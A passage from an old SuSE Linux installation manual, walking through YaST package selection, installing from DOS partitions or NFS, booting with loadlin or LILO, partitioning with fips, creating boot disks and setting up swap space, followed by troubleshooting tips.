- F10 brings you back to the installation menu.

6. Now choose a series that you are interested in. Press ↵ and the package selection list of that series appears (section 3.12.3, page 65). In the upper left corner of the screen is a list of the packages. In the upper right corner is the free space left in each partition and below a description of the actual selected package.
7. This is what you can do in package selection:
   - ↵ selects or unselects the highlighted package. `[X]` means that this package is going to be installed.
   - F2 shows a detailed description of the highlighted package. ↵ leads you back to package selection.
   - F3 gives a detailed view of your partition's free space.
   - F10 leads you back to package selection.
   - In the upper righthand corner, you can check your partition's space.
8. When you are finished selecting packages (and everything fits on your HD), switch back to series selection with F10 and, by pressing it a second time, you will be brought back to the installation menu (figure 3.12, page 64).
9. The menu entry '`What if`' shows you what is going to happen (which packages are going to be installed). You don't have to select this menu entry, it's just for your information. This is very useful if you plan (later on) to remove packages in order to make sure nothing unwanted is about to be removed.

2.3.9 Install software (Part I)

What's it about?

Now the Linux software will be installed.

Extra info

If your machine only has "little" RAM (8-16 MB) then you are only able to install from CD 1, the other CDs will be requested later on (see section 2.3.12).

Step by step

1. Start the installation by pressing '`Start installation`'. YaST displays which package it is currently installing and how many packages remain.
2. After the packages have been installed, go back to the main menu by selecting '`Main menu`'.
3. Select '`Finish up installation and leave YaST`'.

Next, YaST guides you through the base configuration.

2.3.10 Base configuration with YaST

What's it about?

The software base system has been installed. A system-dependent kernel is installed and the first components are configured.

Step by step

1. Select a suitable kernel from the list. In case of doubt, select the standard kernel.
2. Answer `'Yes'` when YaST asks to create a boot disk. Insert a new disk into the floppy drive.
3. Answer `'No'` when YaST asks to configure LILO unless you are sure of what you are doing. LILO configuration is a separate chapter and covered in chapter 4).
4. Configure your CD-ROM drive.
5. Now you may select your time zone.
6. Enter the host and domain name.
7. Now several boxes for setting up your network appear: `loopback` or `real` network. If you click on `real` network, you will get more questions: type of network, IP address, netmask, gateway, **inetd**, **portmap**, NFS server, `From` line for News postings, net client connected to a name server (IP of name server, YP domain), selection of kernel module for the networking card and `sendmail.cf` for your mail agent.

Finally, the point has been reached where your SuSE Linux is able to boot itself. When you have successfully booted the system, continue with the next section.

2.3.11 First "login" and final configuration

What's it about?

Now you log in for the first time into your SuSE Linux system and continue configuration.

Summary

YaST asks some more questions and recognizes if some packages still need to be installed.

Step by step

1. After some more system messages and the `"Welcome"` screen, you are asked to enter a `'root'` password. Please chose it carefully and do not forget it `;-)`
2. YaST now starts again and asks whether you want to test some fonts. If you choose `'Yes'`, a list of fonts appear which you may try out. Select `'Continue'` to look at the fonts or `'Abort'` if you are satisfied with the selection you have.

3. If you have selected `'Continue'`, the screen switches to this font. Check if this is suitable for you. If you are not satisfied, you may select `'Another font'` and it starts over. If you are satisfied, press `'Standard font'` and it will be saved.
4. If you have installed the package `lxuser`, YaST recommends creating a user entry. Keep in mind that you should not work as user `'root'`. Think of a nice user name without spaces and not longer than 8 characters to use for your regular work. Don't forget your password!
5. Now you may set up your modem. If you have a modem, you may do so now or skip this step and do it later. If you select `'Yes'`, YaST asks for the serial interface it is connected to.
6. Now you may set up your mouse. If you want to do so, just select `'Yes'`. Select your type of mouse from the list. If it's a serial mouse, YaST needs to know the interface the mouse is connected to.
7. Now you may enable **gpm**. If you encounter problems, you may remove it later.

If there are still packages missing from CD 2 to CD 4, YaST now asks you to insert these CDs.

2.3.12 Install software part II and the "`earth: #`"

What's it about?

Now eventually missing software from CD 2 to CD 4 is going to be installed.

Extra info

If your machine only has little RAM you were not able to change CDs in section 2.3.9; this is done now.

Step by step

1. YaST now requests you to insert CD 2 to CD 4 to install the rest of the software packages.
2. now YaST quits and asks you to press ↵.

Now your SuSE Linux is completely installed. Some configuration scripts will now be run in the background while you continue to work with the system (see section 19.1, page 359).

Now you should see your Linux-☞*Prompt* and you are able to start working:

```
earth: #
```

Now you may begin to make use of your system by, e. g., entering **`ls -a`** for listing the files in your home directory.

```
earth: # ls -a
```

If you start **YaST** (**`yast`**) you may add other users via `'Administer your System'`. The next step should be to install the graphical user interface by selecting `'configure XFree86™'` (see section 9.1, page 190).

Problems

Some automatic configuration scripts are launched in the background (indexing man pages, setting up perl, etc). On less powerful machines this can take up to several hours. If you shutdown the machine before these scripts are done, YaST will assume that is hasn't finished correctly and start over again!
These scripts are done when you see (switch with Alt + F9):

Have a lot of fun!

2.4 Copying packages onto the HD when the CD-ROM drive is not supported

When our standard kernels do not support your CD-ROM, your CD-ROM is not supported by Linux, or you don't have a CD-ROM, you will need another installation alternative.

SuSE Linux provides two ways to install onto a machine without using a CD-ROM:

- from a DOS partition (section 2.4.1, page 28)
- via an NFS or PLIP network connection (section 2.4.2, page 30)

2.4.1 Installation from a DOS partition

What's it about

When you cannot use the CD-ROM, you may copy the Linux distribution to a DOS partition and install it from there.

Requirements

You are using DOS, Windows or OS/2 and cannot use your CD-ROM for Linux installation (perhaps because Linux does not support it). Moreover, you have enough space on your DOS, OS/2 or Windows partition to hold a copy if the base system.

Summary

On the CD in directory `\suse\images`, you will find files related to kernels. Files without extensions are considered kernels only for installation purposes. These kernels only support hardware that is needed for installation (no streamers or mice). Files with `.ikr` extension are considered normal, installable kernels. There is one more file ending in `.inf`. This is a text file containing a number which YaST uses to present information about a given kernel.

You should always copy a suitable kernel even if you plan to start via **loadlin** or floppy. YaST will create a boot disk using this kernel at the end of the installation procedure.

Step by step

Here's how to copy the necessary files onto your HD.

1. First create a directory you want to copy the files to. The name of this directory is unimportant, as long as you don't forget it. In our example, we will refer to it as `\emil`. In addition, you have to create a subdirectory `\emil\suse`.
2. Under the `\emil\suse` tree, you will need at least three directories. Let's call them `a1`, `images` and `setup`. These are necessary for the base installation. Create these directories now. Diagram figure 3.7, page 60, shows the complete file tree needed.
3. Copy all files from `\suse\a1` of the first CD into `\emil\suse\a1` on your HD.
4. Under `\suse\images` select a kernel which supports your hardware. More detailed information about which kernel supports which hardware can be found in `\suse\images\readme.dos`.

   Copy this kernel to `\emil\suse\images`. A kernel consists of three files, one without an extension and those with `.ikr` and `inf` extensions. If space on your HD is not an issue, you can copy all the kernels into this directory. You can then choose your kernel later on. More information about this can be found in Infoblock section 2.7.4, page 40.
5. Copy `\suse\images\initdisk.gz` to `\emil\suse\images`.
6. Copy `\suse\setup\loadlin.exe` to `\emil\suse\setup`.
7. Copy file `\suse\setup\inst-img` to `\emil\suse\setup`. This file is relatively big, but it is only needed while doing the first installation. When the base system is up and running, you will be able to install additional packages from a DOS partition. Then the file `inst-img` can be removed.
8. Create the directory `\emil\suse\setup\descr` and copy all files from `\suse\setup\descr` into it.
9. If there is some space left on your HD, you can copy `\suse\setup\du` to `\emil\suse\setup\du`, which you have to create in advance. These files are not really necessary but will help you later for showing you how much space is left and how much is already occupied. If you have enough space, you may find this handy.
10. You now have everything that is absolutely necessary for installing Linux on your HD. All other software is still missing. Since your CD-ROM is not supported by Linux, you have to install everything step by step, meaning that you have to copy everything you want onto the HD and install it from there using YaST. You don't have to do that right now, but if you already know what you're going to use, you can start now: just create the corresponding directory under `\emil\suse` and copy everything from the CD (meaning the corresponding directory) into this newly created directory. You can find all packages with their contents in the on-line documentation or in the package descriptions.

Problems

There should not be any problems so far. If there is not much free space on your DOS or HPFS filesystem, keep in mind that you have to be `'root'` to install the above mentioned base system. Otherwise, you have to say goodbye (just for a while) to your DOS/Windows/OS/2 software.

Now the installation can begin as given in (section 2.3.3, page 14).

As soon as **linuxrc** asks for the `source` medium (section 2.3.4, page 14), you should enter `'HD'`. The ☞*Device*, of course, is your DOS partition. This is normally something like `/dev/hda1` or `/dev/sda1` if DOS resides on the first primary partition.

If you stuck to the example above, the `source` medium should now be `emil`. Then the installation proceeds as given in section 2.3.5, page 16 ff.

2.4.2 Network (NFS or PLIP) installation

We do not offer support for this method of installation (see section I.1.2, page 426). We will be glad to help you with our business support (see section I.1.2, page 427).

What's it about?

There is *no* CD-ROM installed in the machine you want to install Linux on. There is no DOS partition either. You are capable of connecting to a remote machine that has an installed CD-ROM or a machine with the CD copied to a hard disk over the network (as described in section 2.4.1, page 28). This machine, of course, needs to *export* this directory so that the machine you want to install Linux on can read it.

This installation method is only recommended for experts.

Step by step

1. Start the installation as given in section 2.3.3, page 14.
2. Continue with the installation as described in section 2.3.4, page 14.

   When you come to `'Kernel modules'`, select `'Networking cards'` and load the necessary driver. This is not necessary if you are installing via PLIP.

   As soon as **linuxrc** asks you for a `'Source medium'`, you should enter `'Network (NFS)'`. Now follow the menu for network configuration. You may as well install via FTP.
3. Finish up the installation as given in section 2.3.5, page 16.

Problems

The installation aborts before it has actually started, because the installation directory of the "other" machine wasn't exported with `exec` permissions. Correct this and start again.

2.5 Installation using setup and loadlin

2.5.1 Putting Windows 95 into DOS mode

What's it about?

You must put your computer into real mode under DOS to proceed with installation.

Requirements

You are working under Windows 95.

Summary

The installation program **setup.exe** is an MS-DOS program which is only able to load the Linux kernel of your base-Linux into memory if either the CPU runs in real mode or a VCPI server[3] is active. The DOS window of Windows 95 runs in virtual 8086 mode but does not offer a VCPI server. This is why **setup** does not work here.

Step by step

There are two alternatives: switching to DOS mode from Windows 95 or booting your computer and selecting command line input (DOS). If Windows 95 is already running, click on '`Start`', '`Shut down`', '`Restart the computer in MS-DOS mode`'.

Or you can just press F8 while booting and choose '`command line input`'.

Problems

There should not be any problems so far. Problems can arise if you need German keys under DOS or the driver for your CD-ROM is not loaded:

- In DOS mode, if German umlauts and special keys do not work, see section 2.8.1, page 43.
- In DOS mode, if you cannot switch to your CD-ROM drive, see section 2.8.3, page 43.

2.5.2 Invoking setup and first steps with setup

What's it about

Setup.exe starts your ☞*base-Linux* which enables you to proceed with the actual Linux installation. We use the program until we have to choose between booting from boot disk or CD.

Requirements

You have started MS-DOS or an MS-DOS window (not in protected mode). The first CD is in your CD-ROM drive and you can access it.

Summary

In this step, you will continue until you reach the point where you have to decide between one of two alternatives, namely booting with boot disks or with **loadlin** from CD.

[3] e. g., provided by **emm386.exe**.

Step by step

Here's how to proceed:

1. Start **`setup.exe`** in the root directory of your CD.
2. Choose your favorite language; for `'English'` installation just highlight and press [↵].
3. Enter your CD-ROM drive letter (e. g., `E:` on DOS). Possibly this has changed due to adding a DOS partition.
4. **Setup.exe** welcomes you; we reply to such a nice gesture by pressing [↵].
5. The following sections will explain the booting of the base-Linux. See section 2.5.3, page 32, below for help deciding what booting method to choose. Subsequent sections will guide you through the process for each method.

2.5.3 Which way do I want to boot base-Linux?

What's it about?

There are two possibilities to boot your base-Linux: either from boot disks or directly from CD-ROM by means of **loadlin**. Here, you will choose the best option for you.

Summary

The easiest way is to start your base-Linux directly from CD using **loadlin.exe**. It runs on DOS, loads a kernel image from CD into RAM and starts executing kernel code. Some things must be fixed for this to work properly though. The computer has to run in real mode or in virtual VCPI mode.[4] OS/2 DOS or Windows NT DOS windows will not work.

Booting via disks is almost always possible but is a little more tricky and requires an extra amount of time. We are talking here about the disks created by **setup**. The easiest way of all is to use the SuSE boot disk (or booting from CD). We will explain these options later, but for now let's stick to the option of loading via **setup** or via **loadlin**.

Recommendation

Take the "*loadlin way*" whenever possible as long as your CD-ROM is supported and you are not working under OS/2 or Windows NT. When in doubt, just try it. If this fails, you only have to start over again at section 2.5.2, page 31 and choose the *"floppy way"*.

2.5.4 Install loadlin and load base-Linux

What's it about?

In this step you will install and use **loadlin**. Then you will start a kernel from DOS and bring up your ☞*base-Linux*.

[4] as provided by, e. g., **emm386.exe**.

Requirements

You have made it this far and are ready for your first Linux prompt.

Summary

Which kernel to select depends mainly on your SCSI adapter and your hard disk (or the controller). If you have only (E)IDE components, you can stay with the default kernel. You can choose another kernel later or, even better, create your own which perfectly suits your needs. More on this is in section 2.7.4, page 40.

Setup now creates the directory `\loadlin` in your DOS partition. The files `setup.exe`, `loadlin.exe`, `Linux.bat` and the selected kernel (`zimage`) are copied to this directory. If you want to start Linux later, just enter **`Linux.bat`**, adding the root partition as parameter. Assigning the root partition is covered in section 2.3.7, page 20).

At the end of this step, the kernel is loaded and started.

Step by step

Now proceed to install **loadlin** for starting your ☞*Base-Linux*.

1. Choose `'loadlin'` and press [↵].
2. The box displays your RAM size. Normally, this should be correct and you should confirm by pressing [↵]. If the size doesn't match, please correct it.
3. Now you have to state whether your CD-ROM drive is supported. To help you answer this question, see section 2.7.5.
   - If Linux supports your CD-ROM drive, just press [↵].
   - If your drive is not supported, you have already copied files to a DOS directory in section 2.4.1, page 28. Just select `'Hard disk'` and press [↵]. Next, enter the path where you copied `suse` to. In our example, in section 2.4.1, page 28, we used `\emil`. So we need to enter `\emil`. You don't need to enter `suse`.
4. Now you need to select a suitable kernel. Press [↵]. Information on kernel selection may be found in section 2.7.4, page 40.
5. Next are the kernel parameters. One parameter a line. An empty line means *done*. Which parameters may be set?

   A detailed description of kernel parameters may be found in section 2.7.4, page 40. A complete list is in section 14.3.2, page 290.
6. Now you are asked whether to start **loadlin**. Just answer `'Yes'`. **Setup** now creates the directory `\loadlin` and copies the files.
7. Now ☞*Base-Linux* is launched via `'Load Linux'`. Now you should see one or two pages scrolling by. If everything went fine, **linuxrc** welcomes you. You may scroll through the kernel messages with [Shift] + [PgUp] and [Shift] + [PgDn].

Problems

There can be two kinds of problems. Either **loadlin** cannot load the kernel or the kernel fails with your hardware:

- there is too little memory for **loadlin** to load the kernel. See section 2.8.7, page 44.
- **loadlin** cannot start the kernel. It runs in virtual 8086 mode but there is no VCPI server present. See section 2.8.10, page 45.
- **loadlin** fails. See section 2.8.8, page 45.
- The CD is damaged. See section 2.8.3, page 43.

Now the installation may start as given in section 2.3.4, page 14.

2.6 How Would You Like to Start Linux in the Future ?

The SuSE Linux-system installation has almost been finished. You have to decide, however, how you would like to boot Linux on a daily basis. (☞ *booting*). The following overview will show you the main possibilities for booting Linux. Your experience with and purpose for the computer you are working with will be decisive in making a determination on this issue. The recommendations below are aimed at differing levels of difficulty in correcting problems. A corresponding level of competence on the user side will be necessary.

Boot Floppy: You are starting Linux via the *Boot floppy*. This always works and does not cause any problems, since we created a boot floppy during installation (in section 2.3.10, page 26). Admittedly, boot floppies constitute a pretty time-consuming and bothersome solution. A boot disk is a temporary solution, but only if you have problems arising from implementing other solutions or you want to postpone a decision on your boot method. A boot disk might be a good solution if you are running OS/2 on the same system.

loadlin: A **loadlin** boot assumes that the following condition have been met:

- Your machine has to run DOS in real mode or it should run in virtual 8086-mode, since DOS running in this mode provides a VCPI server[5] We can talk about this solution from a different point of view, though: This method does *not* work under Unix, OS/2, Windows NT or in the DOS window provided by Windows 95; it works *well* from the MS-DOS prompt or under the DOS mode Windows 95 boots into when specified, e.g. at the start of Windows 95. The Windows 98 DOS mode does not cause any problems either.
- Your computer should provide sufficient DOS memory resources: There should be at least 128 KB available below the 640 KB limit, the rest may be occupied by extended/EMS/XMS memory.

loadlin is fairly work-intensive during installation, but it can be easily integrated into the Windows 95/98 boot menus. This requires manual

[5] For instance, a VCPI server is provided by **emm386.exe**.

editing of configuration files. One of the great advantages of **loadlin** is the fact that no entries in the ☞*MBR* (engl. *Master Boot Record*) are being made. Thus, other operating systems can only see Linux partitions with unknown (engl. *IDs*). To install **loadlin**, you need to know a little about DOS and Linux. You should be able to create configuration files using an ☞*Editor*. You can find details on this in section 4.9. There could be problems if you cause a fault in the Windows95/98 boot menu configuration files. In extreme cases you might not be able to access your Windows installation. *Before* you start configuration of the boot menus, please make sure you can restart your system via a Windows boot floppy.

LILO: The universal and technically elegant solution is the boot manager LILO; it leaves the choice of operating systems to you, before the actual booting process starts.It is relatively straightforward to install LILO via YaST (compare section 3.13.2, page 73). LILO has to be installed in the boot sector; risks at installation time might have to be taken. You have to be slightly more expert at the fundamental mechanisms governing the boot process as well. You should be able to edit the LILO main configuration file. You might also be well advised to find out how to uninstall LILO in case of difficulties. Details on LILO and the boot process can be found in section 4.3. LILO has always been the best boot method[6] You just have to be aware of the additional effort in the use of LILO.

Since the importance of Linux has increased, some commercial software publishers writing boot managers have included Linux option in their products. Chief among them are **System Commander Deluxe** and **Partition Magic**. In addition to help screens at boot time many of these packages offer a lot of functionality, e.g. to extend FAT32 partitions or to change FAT16 partitions into FAT32 partitions. You can *not* find these packages on our CDs; therefore we will not go into any detail about them in this book. A thorough discussion of several boot methods, in particular LILO and **loadlin** can be found in chapter 4, page 81 ff.

2.7 Infoblocks

2.7.1 Creating space for Linux: Partitioning

What's it about?

This step prepares your HD for Linux partitions.

Requirements

You want an actual and not just a demo installation (you would not need a new partition for demo mode). You have some HD space, time, SuSE Linux, perhaps some disks or tapes for backups and a boot disk of your former OS.

[6] if you have Linux only on your system, LILO is the only usable boot method apart from the boot floppy.

Summary

By partitioning, your HD can be separated into several independent parts. One reason for partitioning your HD might be the coexistence of several different operating systems with different filesystems on your HD .

HDs are divided into cylinders. Each cylinder always contains exactly the same amount of tracks, cylinder 0 being the innermost.

How do you get space for your Linux partition?

- Any partition can be deleted but all data which resides on these partitions will be lost. This space is now available for new partitions (e. g., Linux). Of course, you can also split this partition into two or more partitions.
- Any partition can be assigned to a different filesystem. As with deleting, all data on these partitions will be lost.
- If you are using MS-DOS or Windows, you can minimize the last partition without losing data. If all data resides on low-numbered cylinders, special programs (e. g., **fips**) can decrease the upper cylinder limit to reduce the size of the last partition leading to the possibility of creating a new partition for Linux. Using a defragmentation program ensures you that all data is moved to the beginning of the partition.
- The easiest way is to buy a new HD. This, of course, will cost you some money.

> Every change of the partition tables must be done with extreme caution! Please read the documentation of the corresponding programs! Severe problems can occur while changing partition tables; you can even lose all your data. We at SuSE cannot be held responsible for this! It is strongly recommended that you have at least a boot disk and a backup of your important data.

Step by step

This is how to proceed to partition your HD:

1. If you don't know already, you have to find out how many partitions your HD consists of and the size of the partitions. Use **fdisk** of your OS for this task.
2. Determine how many partitions you really need and which size you are going to assign to them. Information on this may be found in section 2.9, page 46 and in section 2.10, page 48.
3. Write down the partition data; you're going to need it later during the installation process.
4. A backup of your HD at this point is highly recommended! If you don't have a backup tape or streamer installed and don't want to back up everything onto floppies (which is a tedious job), at least make a backup of the most important data and files (e. g., `autoexec.bat`, `config.sys`, `*.ini`, etc.). Create a boot disk for your OS **and** make sure you can boot with it! There are several programs that might come in handy on your boot disk, such as **fdisk**, an editor, a format program and, of course, your backup program.

5. The next step depends on your system configuration.

   DOS/Windows 95, one partition on your HD, and no backup

   You have to reduce the size of your partition without deleting data. Move all data to the beginning of your partition using a tool such as **defrag**.

   Defragmentation programs normally don't move hidden files. There might be such hidden files on your HD (e. g., copy protection). You must ensure that these files don't have to be at a certain location on your HD. If you are sure that there aren't any of these hidden files, you can change the attributes of these files from `hidden` to `not hidden`. Some defragmentation programs offer the option of deciding whether you want to set this flag or not.

   Please keep in mind that even the Windows swap file is a hidden file. If it's in your way, you have to unselect it under "disable virtual memory".

   Once you have retrieved enough space, change to directory `\dosutils\fips` on your SuSE. CD. There you will find **fips.exe**. Study the included documentation about **fips** carefully, since changing partition tables can be rather tricky! The program **fips.exe** only runs on DOS, not on Windows; you have to exit Windows or (if using Windows 95) change into DOS mode (see section 2.5.1, page 30). After running **fips.exe**, you will have a second partition which later will be divided into your Linux partitions.

fips.exe in `\dosutils\fips\fips20` is capable of shrinking `fat32` partitions. Please do make a backup *before* testing this fips version!

   DOS/Windows 95 and several partitions or you have a complete backup

   You can delete your DOS partitions and afterwards install them reduced in size again. You are going to lose all data on those partitions, so you have to have a complete backup at hand (file backup, no image backup!). Using **fdisk**, you delete all partitions and install the new ones. Next, you format these partitions, install your OS and copy all data from your backup back to disk (remember that you must have your backup program on your boot disk).

   OS/2

   Here, you have the following possibilities:

   - Reduce your OS/2 partitions. To accomplish this, you must backup all data on your OS/2 partition, delete these partitions using OS/2's **fdisk** and reinstall them reduced in size. The space now available will be used later for your Linux partitions.
   - You plan to use Linux instead of OS/2. Then you have to do nothing but change the partition type later on to Linux. Or delete all OS/2 partitions and recreate them later as Linux partitions.
   - You buy a new HD. Formatting and partitioning it will be done later with YaST.

UNIX/Linux

You already have suitable partitions, meaning that you don't need to bother with repartitioning your drives. Setting the partition table will be done using YaST.

6. Reboot your computer.
7. Check whether your old system is still running! Linux partitions on the freshly created new space will be installed later using YaST.

Problems

The following problems can occur:

- The partition might not be adequately reduced because **defrag** cannot move some files. See section 2.8.1, page 43.
- Under DOS/Windows your CD-ROM had another HD Identifier; under Windows the computer hangs. See section 2.8.12, page 46.

2.7.2 Creating boot disks under DOS with setup

Requirements

You need one or two 3.5" HD disks and a bootable 3.5" floppy drive. If your boot drive (usually A:) is not 3.5" but you have an additional drive that is 3.5", see section 2.8.11, page 45, for instructions to switch it to become the boot drive. If you are working in Windows 95, you must launch **setup** from MS-DOS mode instead of from within a DOS window.

Summary

For booting the base-Linux via floppy disks, you need at least a disk with a kernel. The SuSE Linux CD contains several such kernel images. Such an image can be copied onto disk with **setup** and is thereafter called a boot disk. Included in these images are the linux loader (LILO) and the program **linuxrc**. It is possible to choose a kernel at boot time and to add parameters as needed. By the way, LILO need not be installed on disk but should be your choice if you plan to install more than one operating system and want to select at boot time which to boot. Installation of LILO is not the subject of this chapter but is covered in chapter 4, page 81, in detail.

linuxrc is your assistant for loading kernel modules adapted to your hardware and to start the installation.

The included SuSE boot disk can also be used as the boot disk in case of emergency. You must create your own boot disk only if you have exotic hardware installed that is not supported by the modular kernel on this disk as explained below.

In the latter case, selection of a proper kernel is essential. It has to support your hardware. There is more information on kernels in section 2.7.4, page 40.

> As an alternative you might want to use the (perhaps slower) DOS programm **rawrite.exe** (CD 1 `\dosutils\rawrite`)

Step by step

Here's how to create a set of disks:

1. Start **setup** directly from CD 1.
2. Select 'floppy' and press ↵, next select 'Boot' and again ↵.
3. Now you have to select a suitable kernel that supports your SCSI adapter if you have one. **setup** shows the essential part of the kernel descriptions. If you need further information, you can look it up in \disks\readme.dos or in section 2.7.4, page 40. Remember your kernel's name. You will need it later. Now press ↵.
4. Now you're ready to create the boot disk. Insert the (DOS formatted) disk into the 3.5" drive and select which disk to create.
   - Only the boot disk is needed ('Root' is not needed anymore for SuSE Linux. Move the cursor onto 'Boot' and press ↵.
   - **setup** requests you to confirm that you have inserted a disk. Press ↵ and the disk is written.
   - When this is done press ↵.
   - Now select 'Done' to exit this screen and **setup**.

2.7.3 Creating boot disks with UNIX

What's it about?

You have a UNIX already installed and want to switch to Linux. The supplied boot disk does not work.

Requirements

Your CD-ROM is supported by Linux and you have no way of installing Linux via a DOS partition.

Step by step

This is how to create a boot disk:

1. If you have to format the disk: **fdformat /dev/fd0h1440**
2. Mount the first CD (e. g., to /mnt):
   cd / ; mkdir mnt
   mount -tiso9660 /dev/cdrom /mnt
3. Change to the disks directory on CD:
   cd /mnt/disks
4. Now create your boot disk
   dd if=<disk> of=/dev/fd0
   The README file in the disks directory and Infoblock section 2.7.4, page 40, contain specific information about the kernels.

2.7.4 Selecting a kernel

As installation proceeds, you have to select a kernel for driving your system during installation and perhaps afterwards as well. The Linux kernel may contain many drivers (networks, HDs, CD-ROM drives). The kernel must be the right one for your machine.

On our CD are many different kernels either as disk images for boot disks or as files for **loadlin**. These kernels are temporary since they must support a lot of hardware but can't be too large. Later on, you should build your own kernel, specifically adapted to your system.

In most cases, you can use our supplied boot disk for installation. Only if this kernel supplied with our boot disk doesn't recognize your hardware properly, will you have to try another kernel. You can get more information about kernel configuration on-line via **setup** or in files `/disks` and `/suse/images` on the first CD.

For supporting almost any hardware configuration, there is a modular kernel installed on your system which contains only the absolutely essential drivers necessary for booting. Two kernels for EIDE machines and several for SCSI machines are supplied. All other drivers are loaded by the kernel daemon as modules.

If you encounter problems, make sure your hardware is correctly specified in `/etc/conf.modules`.

2.7.5 Kernel parameters

When you have chosen a suitable kernel, you have to decide which kernel parameters are needed. Kernel parameters are your way of "talking" to the kernel drivers. Using kernel parameters, you can achieve several things:

- You can tell the kernel which hardware you use and how it is accessed (address, interrupt, etc.). Sometimes the driver can find out by itself, but it is much safer and faster if you do this manually.
- You can disable drivers. This might be helpful if there are several CD-ROM drivers provided in the kernel and each of them tests its hardware in a very complicated manner (auto-probing). This is only relevant if you use a monolithic kernel which includes all CD-ROM drivers.
- In case of problems, you can probably achieve a running Linux by using specific kernel parameters.

You can enter kernel parameters either if you boot via **loadlin** or if you boot via LILO. Even with the SuSE boot disk which supplies the relevant drivers as modules, you can enter kernel parameters. In this case, the notation of kernel parameters differs slightly. You have to enter parameters every time you boot. The kernel doesn't remember.

After installation, you can put kernel parameters into `/etc/lilo.conf` or `/etc/conf.modules` (if you use a modularized kernel), where they are read automatically by LILO or **modprobe**, respectively.

More about parameters, which other parameters exist and how to enter them is explained in section 14.3.2, page 290 and section 14.3.3, page 299.

2.7.6 Does Linux support my CD-ROM?

Almost every CD-ROM drive is now supported by Linux.

- Using ☞*ATAPI* drives (those drives connected to an EIDE controller), there should be no problems at all.
- Using SCSI CD-ROM drives, it is only important whether the SCSI controller is supported by Linux (supported SCSI controllers are listed in the Appendix). If your SCSI controller is not supported and there is a HD connected to it, you will have a problem anyway.
- Lots of proprietary CD-ROM drives are supported under Linux (see Appendix). Here is the most likely place for problems to occur. If your drive is not mentioned, you could try choosing a similar type.
- Parallel port CD-ROM drives are very popular in the meantime. Unfortunately there is no standard which leads to unexpected trouble. SuSE Linux contains quite some alpha drivers for some devices. If none of them works you have to install via DOS. Please keep in mind that you may access some of these devices only after the have been set up under DOS. So you might need a warm reboot.

2.7.7 Activating swap space manually

If you have a machine with 8 MB RAM or less, you need to create and activate a swap space *before* starting YaST.

Please read section 2.7.8, page 41 for information on creating a swap file. If you install onto a DOS partition, a swap file is required.

If you want to use a swap *partition* (partition type 82), you need to create it in advance using **fdisk** or YaST.

Here's how to format a swap partition:

```
earth: # mkswap -c <device> <numblocks>
```

Here's how to activate a swap partition:

```
earth: # swapon <device>
```

For creating a 16 MB swap partition, you should set the number of blocks to 16384. The size of one block is 1024 bytes.

2.7.8 Creating a swap file

There are some peculiarities if you want to use a file as swap space. Access to a swap file (via the `ext2` filesystem) is notably slower than direct access to a swap partition. That's why you should prefer creating a swap *partition*.

Here are some special circumstances when you would use a swap file instead of a swap partition:

A swap file is:

- necessary for a CD-ROM based installation onto a DOS partition
- recommended if you want to enlarge your swap space without repartitioning the drives
- optional for temporary use when compiling large projects or executing memory consuming programs

The best method for creating a swap file is to create a file the size you need and fill it with zeroes. Then, it can be formatted using **mkswap**. It is recommended (see manpage of **mkswap**) that you do a **sync** before activating a swap file with **swapon**.

Proceed as follows:

```
earth: # dd if=/dev/zero of=<file> bs=1024 count=<blocks>
earth: # sync
earth: # mkswap -c <file> <numblocks>
earth: # sync
earth: # swapon <file>
```

2.7.9 Installing an additional hard disk

The filesystem structure on Linux cannot be changed. As you may already know, there are no "drives" as on DOS. So, if you want to install an additional hard drive and shift a part of your software or packages onto the other drive, proceed as in the following example:

Let's assume you bought another hard drive, formatted it with **mke2fs**, mounted it to /usr2 and you are 'root'.

You want to move /usr/X11R6 to this new /usr2 partition. Proceed as follows:

```
earth: # cd /usr
earth:/usr # tar cSpf - X11R6 | (cd /usr2 ; tar xvSpf - )
earth:/usr # rm -fr X11R6
earth:/usr # ln -s /usr2/X11R6 X11R6
```

This method is applicable to almost any directory tree. Caution: don't move anything required for Linux to boot. Directories under /usr and /var are not critical.

2.7.10 The live filesystem

Our featured *live filesystem* integrates programs from the CD labeled *Live-Filesystem* into an existing Linux directory tree. YaST creates symbolic links which point to programs on CD. So you can use all programs from CD without having to install them and thus minimize use of HD space. The advantage of the live filesystem is its minimal space requirements. But there are disadvantages as well:

- Accessing a live filesystem takes longer since accessing CD-ROMs is much, much slower than accessing HDs.
- Since many symbolic links have to be created and each of them uses one inode, you must have enough free ☞*inodes* available. The number of inodes is specified when creating a filesystem. You can only change it afterwards by repartitioning your HD.
- For integrating the live filesystem, your partition has to be at least 50 MB in size.

Detaching the live filesystem is explained in section 3.13.4

2.8 Problem description

2.8.1 Files cannot be moved

Files with the `system` or `hidden` attribute set can't be moved by defragmentation programs. If you want to find out where the problem lies, just type:

```
attrib \*.* /s > <file>
```

Now you can see a whole list of your HD in <file>. Here you can identify the files that cause problems and change them using:

```
attrib -S -H <file name>
```

Proceed with care not to delete copy protection files, permanent swap files, or other system specific files. After defragmentation, you should undo your attribute changes.

If this doesn't work, then you have to repartition your HD. This means that you have to save all your important files in order to restore them after you have finished repartitioning your drive. The alternative is to buy a new HD. Since prices are going down steadily, this might be a good solution.

2.8.2 No English keymaps in DOS mode

In DOS mode enter the following line:

```
loadhigh keyb gr,,c:\windows\command\keyboard.sys
```

or simply add this line to `autoexec.bat`. If Windows is located elsewhere, then you have to adjust the path accordingly.

2.8.3 No CD-ROM driver in a Windows 95 DOS window

In MS-DOS mode, only those drivers are available that have been loaded in `config.sys` and `autoexec.bat`. It makes sense not to put your CD-ROM driver into those files since Windows 95 has its own drivers. For using CD-ROM drivers in a DOS window, you have to create a shortcut to an MS-DOS command line. Then, using the right mouse button, open up the properties for this shortcut and under tab `'Program'` click the `'Advanced'` button. Here is where you must enter your CD-ROM drivers to work in this DOS window.

2.8.4 CD is damaged

This possibility is extremely unusual, but it can happen.

2.8.5 ATAPI CD-ROM hangs while reading

If your ☞*ATAPI* CD-ROM is not recognized or it hangs while reading, this is most frequently due to incorrectly installed hardware. All devices must be connected to the EIDE controller in the correct order. The first device is master on the first controller; the second device is slave on the first controller. The third device should be master on the second controller, and so forth.

It often occurs that there is only a CD-ROM besides the first device. The CD-ROM drive is sometimes connected as master to the second controller (secondary IDE controller). This is wrong and can cause Linux to not know what to do with this "gap". You can try to fix this by passing the appropriate parameter to the kernel (`hdc=cdrom`) (see section 14.3.2, page 290). Nevertheless, connecting both devices to the same controller is much better.

Sometimes one of the devices is just "mis-jumpered". This means it is jumpered as slave but is connected as master or vice versa. In case of doubt just check your hardware settings and correct them.

